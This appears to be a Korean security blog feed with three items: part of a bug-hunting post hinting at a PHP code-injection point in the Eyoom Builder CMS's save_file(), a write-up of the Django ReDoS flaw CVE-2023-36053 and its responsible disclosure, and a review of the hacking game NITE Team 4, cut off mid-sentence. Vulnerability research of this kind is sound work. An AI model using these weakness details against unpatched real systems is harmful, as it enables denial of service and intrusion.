수 있는 것으로, 이윰빌더의 설정 값(<code class="language-plaintext highlighter-rouge">$arr['theme']</code>)에 해당합니다. 이 값은 사용자 측에서 조작할 수 없는 값입니다.</p> + +<p>때문에 위에서 본 코드 만으로는 임의 파일 작성 취약점을 LFI와 RCE 취약점으로 연계할 수 없다는 결론이 나옵니다.</p> + +<p>만약 여러분이더라도 여기서 포기하기에는 너무 아쉽겠죠. 사실상 위 취약점만으로는 악성 시나리오를 제작하기에는 파급력이 많이 낮습니다. 어떤 곳에서는 단순히 가능성만 제시하여도 Potential 취약점으로 취급해주기도 합니다. 하지만 실질적인 시나리오를 제시하는 것이 제보자 뿐만 아니라 제보 받는 사람 입장에서도 취약점에 대한 심각도를 확실히 이해하고 문제의 시급함을 느낄 수 있습니다.</p> + +<h2 id="finding-arbitrary-code-injection">Finding Arbitrary Code Injection</h2> + +<p>저희는 <code class="language-plaintext highlighter-rouge">save_file()</code> 함수에서 php 파일을 작성하고 있음을 알 수 있었습니다. 위에서 보았던 코드에서는 이윰빌더의 설정 값을 받아서 작성하고 있다고 하지만, 다른 곳에서는 사용자로부터 입력 값을 받아서 작성하는 곳이 있지 않을까요?</p> + +<p>그 질문에 대한 답을 찾는 쉬운 방법이 있습니다. 바로 Visual Studio Code에서 <strong>Go to References</strong> 기능을 이용할 수 있습니다.</p> + +<p><img src="/assets/2023-07-31-bughunting-vulnerability-chaining/3.png" alt="VSCode" /></p> + +<p>보시다시피 우측의 수많은 파일에서 <code class="language-plaintext highlighter-rouge">save_file()</code> 함수를 사용하고 있습니다. 이 파일들 중에서 하나쯤은 사용자로부터 받은 입력(user input, cookies, 등)으로부터 값을 받아 파일을 작성하고 있지 않을까요? 어떤 파일에서 그렇게 처리하고 있는지는 스포(?)하지 않겠습니다. (개인 사유로 취약점에 대한 자세한 설명은 내년에 자세히 하게 될 것 같습니다.)</p> + +<p>위에서 살펴본 <code class="language-plaintext highlighter-rouge">save_file()</code> 함수를 다시 면밀히 살펴보면, <code class="language-plaintext highlighter-rouge">$value</code> 값은 <code class="language-plaintext highlighter-rouge">addslashes()</code> 함수로 필터링하고 있지만, <code class="language-plaintext highlighter-rouge">$key</code> 값은 필터링하고 있지 않습니다. 이 점 또한 중요한 포인트입니다. 만약 사용자가 <code class="language-plaintext highlighter-rouge">$key</code> 값을 조작할 수 있다면, 원하는 내용의 스크립트를 php 파일에 삽입할 수 있게 됩니다.</p> + +<h1 id="conclusion">Conclusion</h1> + +<p>지금까지 버그헌팅에서의 취약점 체이닝의 중요성에 대해 설명해보았습니다. 그리고 그 예시로 국내 오픈소스 CMS 중 하나인 이윰빌더에 대해서도 말씀드려보았습니다. 비록 취약점에 대한 자세한 설명은 드리지 않았지만, 그 이후의 과정보다는 취약점을 체이닝해나가는 그 과정 자체가 더욱 중요한 것 같습니다.</p> + +<p>버그헌팅 뿐만 아니라 모의해킹 업무를 하면서도 많이 느끼곤 합니다. 고객사에 단일 취약점을 설명하는 것보다는 하나 또는 두 개 이상의 시나리오와 연계하여 취약점에 대한 파급력을 설명하는 경우가 당사자 간의 취약점의 위험성과 조치에 대한 시급함을 명확하게 설명할 수 있는 것 같습니다.</p> + +<p>다만 취약점 체이닝은 보통 시스템에 대한 깊은 이해가 필요하므로 많은 시간을 투자해야 하곤 합니다. 이 때문에 제한된 시간 내에 취약점을 찾아야 하는 모의해킹보다는 비교적 시간 제한이 없는 편인 버그헌팅에 많이 활용되는 것 같기도 합니다.</p> + +<iframe style="width:100%" height="420" src="http://www.youtube.com/embed/3y-pW1qZf1U" frameborder="0" allowfullscreen=""></iframe> + +<p>저는 최근 파스텔플래닛(pastelplanet)에서 만든 <a href="https://zerowhale.io/">zerowhale</a>이라는 플랫폼에서 버그헌팅을 하곤 합니다. 이 플랫폼은 비교적 외부에 잘 알려져 있지는 않지만, 버그헌터들 사이에서는 프라이빗 버그바운티를 위주로 진행되곤 합니다. 프라이빗은 말그대로 신뢰 가능한 몇몇 버그헌터들만 초대하여 비밀 유지 서약을 맺고 특정 제품 또는 웹사이트 대상으로 버그헌팅을 수행하는 프로그램입니다.</p> + +<p>다른 플랫폼들도 많지만 개인적으로 저는 버그헌팅 기간이 길고 충분한 분석을 요구하고 무엇보다 보상이 좋은 곳을 선택하게 되는 것 같습니다.</p> + +<p>이상으로 글을 마무리하겠습니다!</p> + +<p><em>Specially thanks to 이진성 님.</em></p>Donggyu Kim버그헌팅: 취약점 체이닝의 중요성 No impact, No bugDjango, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator2023-07-03T00:00:00+09:002023-07-03T00:00:00+09:00http://ufo.stealien.com/2023-07-03/cve-2023-36053-ko<p><br /></p> +<div style="text-align: left"> + <b>목차</b> +</div> +<div style="text-align: left"> + <a href="#1-introduction">1. Introduction</a> +</div> +<div style="text-align: left"> + <a href="#2-core-engine-분석">2. Core Engine 분석</a> +</div> +<div style="text-align: left"> + <a href="#3-1-day-버그케이스-분석">3. 1-day 버그케이스 분석</a> +</div> +<div style="text-align: left"> + <a href="#4-시나리오-기획">4. 시나리오 기획</a> +</div> +<div style="text-align: left"> + <a href="#5-분석">5. 분석</a> +</div> +<div style="text-align: left"> + <a href="#6-제보">6. 제보</a> +</div> +<div style="text-align: left"> + <a href="#7-마무리">7. 마무리</a> +</div> +<p><br /></p> + +<p>안녕하세요. 스틸리언 선제대응팀 연구원 윤석찬입니다. 이전에는 R&amp;D팀으로 인사드렸었는데, 부서 개편 후 처음으로 선제대응팀으로 인사드리게 되었습니다. 스틸리언 선제대응팀에서는 Offensive Security를 연구하며 유의미한 가치를 도출하기 위해 노력하고 있습니다.</p> + +<p>__</p> +<h1 id="1-introduction">1. Introduction</h1> + +<p>2023년 7월 3일, 제 첫 CVE가 공개되었습니다.</p> + +<ul> + <li><a href="https://www.djangoproject.com/weblog/2023/jul/03/security-releases/">https://www.djangoproject.com/weblog/2023/jul/03/security-releases/</a></li> + <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36053">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36053</a></li> +</ul> + +<p>위 링크에서 제 취약점이 어떤 내용인지 간략히 확인하실 수 있습니다. 이 글에서는 제가 이 취약점을 어떻게 찾게 되었는지 생각의 흐름을 공유하고, (제가 대단한 실력자도 아니고 파급도 높은 취약점을 찾은 것도 아니지만 😅) Offensive Security Researcher로서 어떤 마음가짐을 갖고 코드를 보면 좋을지 저만의 생각을 공유하고자 합니다. 이번 글은 코드 분석 위주의 글보다는 그냥 말로 취약점의 root cause와 제 생각들을 써보았습니다.</p> + +<p><img src="/assets/2023-07-03-cve-2023-36053/image.png" alt="image1" /></p> +<p align="center">Django security releases issued: 4.2.3, 4.1.10, and 3.2.20 (reported by ME!)</p> + +<p>__</p> +<h1 id="2-core-engine-분석">2. Core Engine 분석</h1> + +<p>Offensive Research를 하시는 분들이라면 다들 공감하시겠지만 어떤 소프트웨어를 분석하기 위해선 코어 엔진(주요 부분)을 먼저 분석할 필요가 있습니다. 제가 생각하는 Django의 주요 기능은 아래와 같았습니다.</p> + +<ul> + <li>Django의 Core 서비스를 로드하는 기능</li> + <li>HTTP Request/Response를 파싱해서 Object에 매핑하는 부분</li> + <li>HTTP 상에서 session을 유지시키는 부분</li> + <li>파일 송신을 처리하는 부분</li> + <li>Django ORM을 통해 SQL 쿼리를 생성하는 부분</li> +</ul> + +<p>그래서 Django의 전반적인 구조를 분석하고자 위 항목들을 중점적으로 분석하기 시작했습니다.</p> + +<p>__</p> +<h1 id="3-1-day-버그케이스-분석">3. 1-day 버그케이스 분석</h1> + +<p>주요 기능을 분석한 뒤에는 전반적인 프로그램의 구조가 어느 정도 눈에 익기 시작했습니다. 이후 제가 이해한 프로그램 구조를 기반으로 그동안 공개된 1-day vulnerabilities를 찾아보았습니다. 작년에는 특히 ORM Injection (ORM 기능에서의 SQL Injection 취약점)이 3건이나 발생된 만큼 Django에서 SQL Injection을 찾아보고자, 지금까지 Django에 report된 모든 SQL Injection 1-day 버그케이스를 분석했습니다.</p> + +<p>아래 링크에서 Django ORM Injection에 대해 분석한 내용을 확인하실 수 있습니다.</p> +<ul> + <li><a href="https://ufo.stealien.com/2022-12-16/analyzing-django-orm-with-1-day">https://ufo.stealien.com/2022-12-16/analyzing-django-orm-with-1-day</a></li> +</ul> + +<p>SQL Injection 류의 버그를 찾고자 노력했지만 더 이상의 SQL Injection 취약점을 발견할 수 없었습니다. 😓 +이후 학업과 회사 업무를 병행하면서 Django 보안 취약점 연구에 크게 시간을 쏟지 못하다가, 군입대로 인한 휴직 전 얻은 여유시간에 Django를 다시 분석하기 시작했고 우연히 보안 취약점을 찾게 되었습니다.</p> + +<p>제가 이번에 제보한 취약점은 아래 1-day vulnerability (CVE-2023-23969)와 다소 비슷합니다.</p> +<ul> + <li><a href="https://www.djangoproject.com/weblog/2023/feb/01/security-releases/">https://www.djangoproject.com/weblog/2023/feb/01/security-releases/</a></li> +</ul> + +<p>요약하면, 이 버그 케이스는 복잡한 정규표현식이 매우 큰 문자열을 처리해야 하는 상황에서 DoS 공격에 취약할 수 있다는 점을 지적하고 있습니다. 각 언어마다 정규표현식을 구현하는 방식은 더 복잡하겠지만, 기본적으로 정규표현식의 검색은 처음부터 끝까지 모든 문자열을 검색해야 한다는 점에서 선형 검색(Linear Search)과 비슷한 양상을 띤다고 볼 수 있습니다. 따라서 정규표현식에 거대한 양의 텍스트가 regex 검사 인자로 입력된다면 상당한 컴퓨팅 자원이 소모될 수 밖에 없으며, 정규표현식의 이러한 점을 노리는 공격이 바로 ReDoS attack입니다.</p> + +<p>위 <strong>CVE-2023-23969</strong> (Potential denial-of-service via Accept-Language headers) 취약점은 Django에 내부적으로 구현된 <code class="language-plaintext highlighter-rouge">get_language_from_request()</code> 함수에서 발생합니다. 이 함수는 이용자의 HTTP Request 패킷으로부터 <code class="language-plaintext highlighter-rouge">Accept-Language</code> 헤더를 가져와 이용자의 언어 환경 값을 가져오는데, 이때 <code class="language-plaintext highlighter-rouge">Accept-Language</code> 헤더를 파싱하기 전 길이 제한이 없어서 ReDoS에 취약했습니다.</p> + +<p>위 취약점에 대한 자세한 설명을 보시려면 제 개인블로그 글을 참고해주시길 바랍니다. 애드블럭을 끄고 방문해주시길 바랍니다. (농담임 😉)</p> +<ul> + <li><a href="https://new-blog.ch4n3.kr/cve-2023-23969/">https://new-blog.ch4n3.kr/cve-2023-23969/</a></li> +</ul> + +<p>__</p> +<h1 id="4-시나리오-기획">4. 시나리오 기획</h1> + +<p>작년 SQL Injection류의 취약점을 찾고자 소스코드를 분석할 때는 시나리오를 생각하지 않고, 무작정 코드만 보다가 빠르게 지쳐버린 경험이 있었습니다. 그래서 이번에는 원데이 취약점을 분석하고나서 시나리오가 생각날 때만 소스코드를 들여다보기 시작했습니다. 문득 머릿속에 떠오른 시나리오를 평소 사용하는 노트 앱에 기록해두고 시간적으로 여유가 날 때마다 기록해 둔 시나리오와, 이와 비슷한 시나리오들이 가능한지 분석했고, 이 방식으로 분석의 능률이 크게 향상되었던 것 같습니다. (이런 방법론은 해커마다 개인차가 있는 부분이기 때문에 제 방식은 그냥 참고 정도만 해주시길 바랍니다.)</p> + +<p>제가 이번에 발견한 <strong>CVE-2023-36053</strong> 취약점도 버그케이스를 분석하고 시나리오를 생각하는 과정에서 발견한 취약점입니다.</p> + +<p><strong>CVE-2023-23969</strong>를 분석하면서 위와 같은 ReDoS 취약점이 여럿 있을 것 같다는 생각이 들었습니다. 그래서 이러한 시나리오를 갖고 Django에서 사용되는 모든 정규표현식 문자열을 모두 찾아 ReDoS로부터 안전한지 분석해보았습니다. 저는 <strong>CVE-2023-23969</strong> 취약점이 어떻게 패치되었는지, 그리고 제가 지금까지 Django Security 팀에 보낸 Security Report들을 통해 취약점으로 인정받으려면 어떤 항목을 만족시켜야 하는지 생각해보았습니다.</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">+</code>, <code class="language-plaintext highlighter-rouge">*</code>, <code class="language-plaintext highlighter-rouge">{0,n}</code> 등의 정규표현식 notation이 중복적으로 나타나 finite automata 상 반복이 많이 발생하는 경우</li> + <li>위 정규표현식을 사용할 때 길이 검증이 선행되지 않은 경우</li> + <li>이용자가 송부한 값이 그대로 해당 함수에 인자로 들어갈 개연성이 높은 경우</li> +</ul> + +<p>__</p> +<h1 id="5-분석">5. 분석</h1> + +<p>앞서 기획한 시나리오 대로 검증하는 과정에서 2건의 취약점을 발견할 수 있었습니다. <code class="language-plaintext highlighter-rouge">EmailValidator</code>를 예로 들어 이 취약점이 어떻게 발생되는지 설명하도록 하겠습니다.</p> + +<p><code class="language-plaintext highlighter-rouge">EmailValidator</code>는 <code class="language-plaintext highlighter-rouge">django.core.validators</code> 에 존재하는 Validator 클래스로 사용자로부터 입력받은 문자열이 이메일 형식을 만족하는지 확인합니다.</p> + +<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># django/core/validators.py +</span> +<span class="o">@</span><span class="n">deconstructible</span> +<span class="k">class</span> <span class="nc">EmailValidator</span><span class="p">:</span> + <span class="c1"># ... +</span> <span class="n">domain_regex</span> <span class="o">=</span> <span class="n">_lazy_re_compile</span><span class="p">(</span> + <span class="c1"># max length for domain name labels is 63 characters per RFC 1034 +</span> <span class="sa">r</span><span class="s">"((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+)(?:[A-Z0-9-]{2,63}(?&lt;!-))\Z"</span><span class="p">,</span> + <span class="n">re</span><span class="p">.</span><span class="n">IGNORECASE</span><span class="p">,</span> + <span class="p">)</span> + <span class="c1"># ... +</span></code></pre></div></div> + +<p>이 Validator에서는 <code class="language-plaintext highlighter-rouge">domain_regex</code> 라는 내부 변수로 도메인의 유효성을 검사하기 위한 정규식을 저장합니다. 이 내부 변수는 이메일의 도메인을 검사하기 위해 사용됩니다. 이 정규표현식 문자열은 <code class="language-plaintext highlighter-rouge">{0,61}</code> 과 <code class="language-plaintext highlighter-rouge">+</code> notation을 중첩하여 사용하기 때문에, 매우 큰 크기의 문자열을 검사하게 될 여지가 있습니다.</p> + +<p>그렇지만 만약 이 정규표현식 문자열로 특정 입력을 검사하기 전 길이 검증 로직을 두어 매우 큰 크기의 문자열이 정규표현식 검사의 인자로 들어가지 못하도록 막는다면 사실상 ReDoS를 트리거하기 어려워집니다. 제 개인 노트북(Apple Macbook Pro 13” / M2, 16GB)으로 테스트해본 결과 <code class="language-plaintext highlighter-rouge">Email Validator</code>의 경우 1MB 이상의 문자열이 인자로 들어가야 정규표현식 연산 과정에서 100ms 이상의 유의미한 시간 지연이 발생했기 때문입니다.</p> + +<p>따라서 적절한 길이 검증 로직이 존재했었다면 ReDoS 공격에서 안전하다고 볼 수 있겠지만, 이번 취약점의 타겟인 <code class="language-plaintext highlighter-rouge">EmailValidator</code>와 <code class="language-plaintext highlighter-rouge">URLValidator</code>에는 정규식 검사 이전 적절한 검사 코드가 부재하여 ReDoS 공격에 취약했다고 볼 수 있겠습니다. 이메일 주소와 URL 주소 모두 RFC 상으로 규격화된 형식이 있기 때문에, ReDoS 공격도 막을 겸 길이 검증 로직이 추가되면 충분히 ReDoS 공격도 막을 수 있었습니다.</p> + +<p>__</p> +<h1 id="6-제보">6. 제보</h1> + +<p>대부분의 대형 오픈소스 프로젝트나 소프트웨어는 Security Policy를 갖고 있습니다. Django의 경우에는 아래 링크에서 관련 정보를 확인할 수 있었습니다.</p> + +<blockquote> + <p>https://docs.djangoproject.com/en/dev/internals/security/</p> +</blockquote> + +<p>총 2건의 취약점을 찾은 후, Django Security Team에 이메일로 Security Report를 보냈고 이후 약 2주 정도의 시간이 지나 CVE 넘버를 할당받을 수 있었습니다. 👏👏 이 과정에서 Django Security Team은 취약점 접수부터 패치, 피드백까지 아주 프로페셔널한 팀이구나 느꼈습니다.</p> + +<p>__</p> +<h1 id="7-마무리">7. 마무리</h1> + +<p>지금까지 제가 Django에 대해 취약점을 분석한 과정과 Security Report를 보내고 CVE 코드를 할당받기까지의 과정을 작성해보았습니다. 제게 큰 용기와 동기부여를 주셨던 예랑님과 상호님, 그리고 스틸리언 R&amp;D팀 식구들에게 대단히 감사드립니다. 🙇‍♂️</p>Seokchan Yoon목차 1. Introduction 2. Core Engine 분석 3. 1-day 버그케이스 분석 4. 시나리오 기획 5. 분석 6. 제보 7. 마무리NITE Team 4: OPERATION CASTLE IVY Chapter 1 리뷰2023-03-19T00:00:00+09:002023-03-19T00:00:00+09:00http://ufo.stealien.com/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1-ko<h1 id="nite-team-4">NITE Team 4</h1> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp" /><br /> + <i>NITE Team 4</i> +</p> + +<p>“NITE Team 4”는 플레이어가 군의 해킹 부서에서 오퍼레이터로 근무하며 지시에 따라 해킹 작전을 수행하는 것을 간접적으로 체험해 볼 수 있는 시뮬레이션 게임입니다.</p> + +<p>플레이어는 스토리/캠페인의 목적에 따라 적합한 해킹 도구를 사용하여 첩보를 수집하고 분석하는 것으로 마치 퍼즐을 푸는 것 처럼 게임을 진행할 수 있습니다.</p> + +<hr /> + +<h1 id="stinger-os">STINGER OS</h1> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png" /><br /> + <i>STINGER OS</i> +</p> + +<p>“NITE Team 4”에서는 <em>STINGER OS</em>라고 부르는 다양한 해킹 도구가 포함된 운영체제를 이용하여 작전을 수행하게 됩니다.</p> + +<p>앞으로 STINGER OS를 이용하여 작전의 목적에 따라 대상을 해킹하고, 첩보를 처리, 분석하게 될 것입니다.</p> + +<h2 id="-운영체제-os-operating-system">🔎 운영체제 (OS, Operating System)</h2> + +<p>우리가 많이 사용하는 웹 브라우져, 파일 탐색기, 문서 편집기 등을 “응용 프로그램”이라고 부릅니다.</p> + +<p>“응용 프로그램”을 잘 실행시키고, 편리하게 사용기기 위해서는 “운영체제”가 필요합니다.</p> + +<p>여러분이 웹 브라우져로 여러개의 탭을 이용하여 웹 서핑을 할 수 있는 이유도, 파일을 복사하여 문서에 붙여넣을 수 있는 이유도, 결국 이 “운영체제”가 그런 기능을 구현하고, 응용할 수 있도록 만들어 주기 때문입니다.</p> + +<p>우리가 실제로 많이 쓰는 운영체제로는 <em>Microsoft Windows</em>, <em>Apple macOS</em>가 있죠.</p> + +<p>모바일 디바이스에서는 <em>Google Android</em>, <em>Apple iOS</em>가 있을 수 있겠네요.</p> + +<h2 id="-해킹을-위한-os">🔎 해킹을 위한 OS</h2> + +<p>“NITE Team 4”의 STINGER OS처럼, 현실에도 해킹을 위한 OS가 존재합니다.</p> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg" /><br /> + <i>Kali Linux</i> +</p> + +<p><a href="https://www.kali.org/get-kali/">Kali Linux</a>는 Offensive Security사에서 개발한 해킹을 위한 OS입니다.</p> + +<p>Linux라는 OS를 기반하고 있으며, 앞으로 “NITE Team 4”에서 사용할 많은 도구들 중 일부들가 kali Linux에 포함된 도구를 벤치마킹하고 있습니다.</p> + +<p>하지만 Kali Linux는 STINGER OS와 다르게 해킹의 전반적인 작업들을 자동화 해 주지는 못합니다. Kali Linux에는 해킹을 위한 다양한 오픈소스 도구들이 집합되어 있을 뿐, 실제로 해킹을 수행하기 위해서는 각 도구의 원리와 사용 방법에 대한 이해가 필요합니다.</p> + +<p>현실에서는 이 Kali Linux를 기업 또는 단체에서 모의해킹, 침투 테스팅, 레드팀을 이용한 정보 보안 강화에 많이 사용하고 있습니다.</p> + +<p>비슷한 OS로는 <a href="https://blackarch.org/">Black Arch Linux</a>, <a href="https://www.parrotsec.org/">Parrot OS</a>가 있습니다.</p> + +<hr /> + +<h1 id="operation-castle-ivy">OPERATION CASTLE IVY</h1> + +<p>STINGER OS에 대한 교육이 끝난 후, operator는 실제 작전에 투입됩니다.</p> + +<h2 id="intro">INTRO</h2> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png" /><br /> + <i>Operation CASTLE IVY Intro</i> +</p> + +<blockquote> + <p>상부는 “NITE Team 4”의 군용 멀웨어가 도난 당했음을 확인했습니다.<br /> +SAD는 Bureau 121의 소행으로 추정하고 있지만, 뒷덜미를 잡을만한 증거가 부족합니다.<br /> +2017년 NSA의 익스플로잇 유출로 10B$ 추정의 손해가 있었던 만큼, 빠르게 이를 조사해야합니다. +우리는 현장에 남겨진 증거들을 활용하여 얼마만큼의 유출이 발생했는지 확인해야 합니다.</p> +</blockquote> + +<h3 id="-malware---멀웨어-악성코드">🔎 Malware - 멀웨어, 악성코드</h3> + +<p>Malware는 Malicious Software, 즉 악성 소프트웨어 또는 악성 코드의 줄임말입니다.</p> + +<p>Malware는 그 특성에 따라 분류되고 있으며, 대표적인 몇가지를 소개 드리겠습니다.</p> + +<h4 id="-backdoor">🔎 Backdoor</h4> + +<p>시스템에서 Backdoor가 실행될 경우, 악성 행위자는 Backdoor가 설치된 시스템에 마치 뒷문을 드나들 듯 인증 과정 또는 반드시 수행 해야하는 절차 없이 시스템의 핵심 명령 장치 등에 접근할 수 있게 됩니다.</p> + +<p>Backdoor를 통해 악성 행위자는 웹캠을 통한 실시간 감시, 실시간 화면 녹화 또는 다른 악성 코드를 설치할 수 있게 되며, 내부망의 다른 대상으로 공격을 뻗쳐 나갈 수도 있게 됩니다.</p> + +<p>악성 행위자는 Backdoor를 통해 과거에 장악했던 시스템에 대해서 다시 공격하여 장악할 수고를 덜 수 있을 뿐더러, 추가적인 공격으로 이어 나갈 수 있는 가능성 덕분에 많이 사용되고 있습니다.</p> + +<p>소프트웨어나 제품에 기본적으로 탑재되는 형식의 Backdoor 공격 사례 또한 다수 존재합니다.</p> + +<p>유명한 Backdoor로는 <a href="https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/">“The Bvp47 - Equation Group”</a>, <a href="https://ipvm.com/reports/hik-exploit">“IPVM - Hikvision Backdoor Exploit”</a>, <a href="https://twitter.com/fs0c131y/status/1085460755313508352">“ES File Explorer Backdoor”</a>가 있습니다.</p> + +<h4 id="-infostealer">🔎 InfoStealer</h4> + +<p>시스템에서 InfoStealer가 실행될 경우 시스템에 저장되어 있는 문서, 비트코인 지갑, 패스워드 등 민감 정보를 추출하여 악성 행위자에게 전송합니다.</p> + +<h4 id="-ransomware">🔎 Ransomware</h4> + +<p>Ransomware는 몸값이라는 뜻의 ransom과 software의 합성어로, Ransomware가 설치된 시스템의 파일들을 악성 행위자만이 알고 있는 패스워드로 암호화하고 인질로 만들어 피해자에게 금전을 요구하도록 유도하는 악성코드입니다.</p> + +<p>Ransomware는 InfoStealer의 기능을 포함하기도 합니다.</p> + +<p>최근에는 기업 대상 공격으로 - 핵심 기술 또는 데이터를 유출하겠다고 협박하며 추가적인 금전을 요구하는 형태로도 발전하고 있습니다.</p> + +<p>또한, 랜섬웨어를 큰 노력 안들이며 만들어주고, 피해자를 관리하는 서비스를 제공하는 등 Ransomware as a Service(RaaS)의 형태로 랜섬웨어 조직은 확장되고 있습니다. 랜섬웨어를 이용하고자 하는 공격자는 랜섬웨어를 직접 제작할 필요 없이 일부 수익만 공유하면 손쉽게 공격에 랜섬웨어를 이용할 수 있습니다.</p> + +<h4 id="-malware-참고-자료-references">🔎 Malware 참고 자료 (References)</h4> + +<ul> + <li><a href="https://www.ahnlab.com/kr/site/securityinfo/securityinfoMain.do">Ahnlab ASEC</a></li> + <li><a href="https://www.igloo.co.kr/security-information/2022%eb%85%84-%ec%82%ac%ec%9d%b4%eb%b2%84-%eb%b3%b4%ec%95%88%ec%9c%84%ed%98%91%ec%97%90-%eb%94%b0%eb%a5%b8-%ec%95%85%ec%84%b1%ec%bd%94%eb%93%9c-%ed%8c%a8%eb%9f%ac%eb%8b%a4%ec%9e%84/">IGLOO, “2022년 사이버 보안위협에 따른 악성코드 패러다임”</a></li> +</ul> + +<h3 id="-cia-sad">🔎 CIA SAD</h3> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg" /><br /> + <i>CIA SAD/PAG</i> +</p> + +<p>“NITE Team 4”에서 언급한 SAD가 CIA의 SAD인지는 확실하지 않습니다.</p> + +<p>하지만 미국의 중앙 정보국(Central Intelligence Agency, CIA)에는 특수 활동 부서(Special Activities Division, SAD)가 있으며, SAD의 정치적 작전 그룹(Political Action Group, PAG)의 주요 작전 범위에 사이버 전쟁이 포함되어 있습니다.</p> + +<p>현재는 특수 활동 본부(Special Activities Center, SAC)라고 불리고 있습니다.</p> + +<h4 id="-cia-sad-참고-자료-references">🔎 CIA SAD 참고 자료 (References)</h4> + +<ul> + <li><a href="https://greydynamics.com/cia_special_activities_center">grey dynamics, “CIA Special Activities Center: The Third Option”</a></li> + <li><a href="https://www.operationmilitarykids.org/cia-special-activities-division-sad/#cia-branches">Operation Military Kids, “CIA Speical Activities Division (SAD)”</a></li> +</ul> + +<h3 id="-bureau-121---정찰총국-121국">🔎 Bureau 121 - 정찰총국 121국</h3> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp" /><br /> + <i>Sony Pictures 해킹 사건 당시 Sony Pictures의 웹사이트</i> +</p> + +<p>Bureau 121은 북한의 정찰총국 121국으로 불리며, 북한의 사이버 전쟁을 위한 집단입니다. +2014년 소니 픽쳐스 해킹의 배후로 잘 알려져 있습니다.</p> + +<p>6,000명 이상의 인원으로 구성되어 있으며, 각 Andariel, Bluenoroff, Lazarus라고 불리는 악성 행위자 그룹이 121국에 속해 있는것으로 파악하고 있습니다. (2021)</p> + +<p>121국의 악성 행위자들은 중국, 인도, 러시아, 벨라루스, 말레이시아와 같은 여러 국가들을 거점으로 활동하고 있는 것으로 알려져 있습니다.</p> + +<h4 id="-bureau-121-참고-자료-references">🔎 Bureau 121 참고 자료 (References)</h4> + +<ul> + <li><a href="https://www.hhs.gov/sites/default/files/dprk-cyber-espionage.pdf">U.S. Department of Health &amp; Human Service, “North Korean Cyber Activity”</a></li> + <li><a href="https://www.cnas.org/publications/reports/exposing-the-financial-footprints-of-north-koreas-hackers">Center for a New American Security, “Exposing the Financial Footprints of North Korea’s Hackers”</a></li> +</ul> + +<h3 id="-the-shadow-brokers-leak">🔎 The Shadow Brokers Leak</h3> + +<p>2016년, “The Shadow Brokers” 해커 그룹이 “Equation Group” 해커 그룹을 해킹하여, 그들의 해킹 도구를 탈취하고, 경매에 부치고, 유출시킨 사건이 발생했습니다.</p> + +<p>“Equation Group”은 이란의 우라늄 농축 시설 파괴를 목표로한 “Stuxnet” 악성코드를 개발하는 등 당시 최고의 기술력을 가지고 있는 해커 집단으로 잘 알려져 있었습니다.</p> + +<p>또한, “Equation Group”은 미국 국가안보국(National Security Agency, NSA)의 TAO(Tailored Access Operations)가 “Equation Group”의 배후라고 생각되기도 합니다.</p> + +<p>이 유출 사건으로 인해 “Equation Group”의 핵심 해킹 기술과 도구들이 대거 유출되고 악영되며 사회에 큰 파장을 일으켰습니다.</p> + +<h4 id="-the-shadow-brokers-leak-참고-자료-references">🔎 The Shadow Brokers Leak 참고 자료 (References)</h4> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/Equation_Group">Wikipedia, “Equation Group”</a></li> + <li><a href="https://www.cnas.org/publications/reports/exposing-the-financial-footprints-of-north-koreas-hackers">Wikipedia, “The Shadow Brokers”</a></li> + <li><a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">Wikipedia, “WannaCry”</a></li> +</ul> + +<h2 id="chapter-1-브리핑">Chapter 1, 브리핑</h2> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png" /><br /> + <i>Chapter 1 브리핑</i> +</p> + +<p><strong>배경</strong></p> + +<ul> + <li>“NITE Team 4”는 미정부와 협력하에 Turbine C2 Platform을 운영중이다.</li> + <li>“Turbine C2 Platform”은 네트워크를 통해 다수의 implant를 관리하는 플랫폼이다.</li> + <li>Malware가 implant(설치)되면, 자동으로 Turbine C2 Card의 형태로 플랫픔/시스템에 등록된다.</li> + <li>각각의 Turbine C2 Card는 관리되는 고유한 ID와 접근 권한 코드를 가지고 있다.</li> +</ul> + +<p><strong>상황</strong></p> + +<ul> + <li>4시간 전, BloodDove라는 멀웨어가 어떤 대상에 설치되어 식별되지 않은 ID를 통해 활성화된 것을 포착했다.</li> + <li>이 멀웨어는 현재 “NITE Team 4”에서 진행되고 있는 작전들과 아무런 연관성이 없는 것으로 파악된다.</li> + <li>따라서, 이 사건에 대하여 조사가 필요하다.</li> +</ul> + +<p><strong>목표</strong></p> + +<ul> + <li>미식별된 C2 card에 접근한다.</li> + <li>공유 디렉토리를 식별하고 접근 권한을 획득한다.</li> + <li>BloodDove 멀웨어의 실제 위치를 파악한다.</li> +</ul> + +<h3 id="turbine-c2-platform">Turbine C2 Platform</h3> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png" /><br /> + <i>Turbine C2 Platform</i> +</p> + +<p>게임에서 Turbine C2 Platform을 통해 작전 대상 네트워크에 접근할 수 있습니다.</p> + +<h3 id="-command--control-aka-cc-or-c2">🔎 Command &amp; Control (a.k.a C&amp;C or C2)</h3> + +<p align="center"> + <img src="/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png" /><br /> + <i>C2 Diagram</i> +</p> + +<p>공격자는 C2 서버를 공격의 경유지로 사용하거나, 멀웨어로 감염된 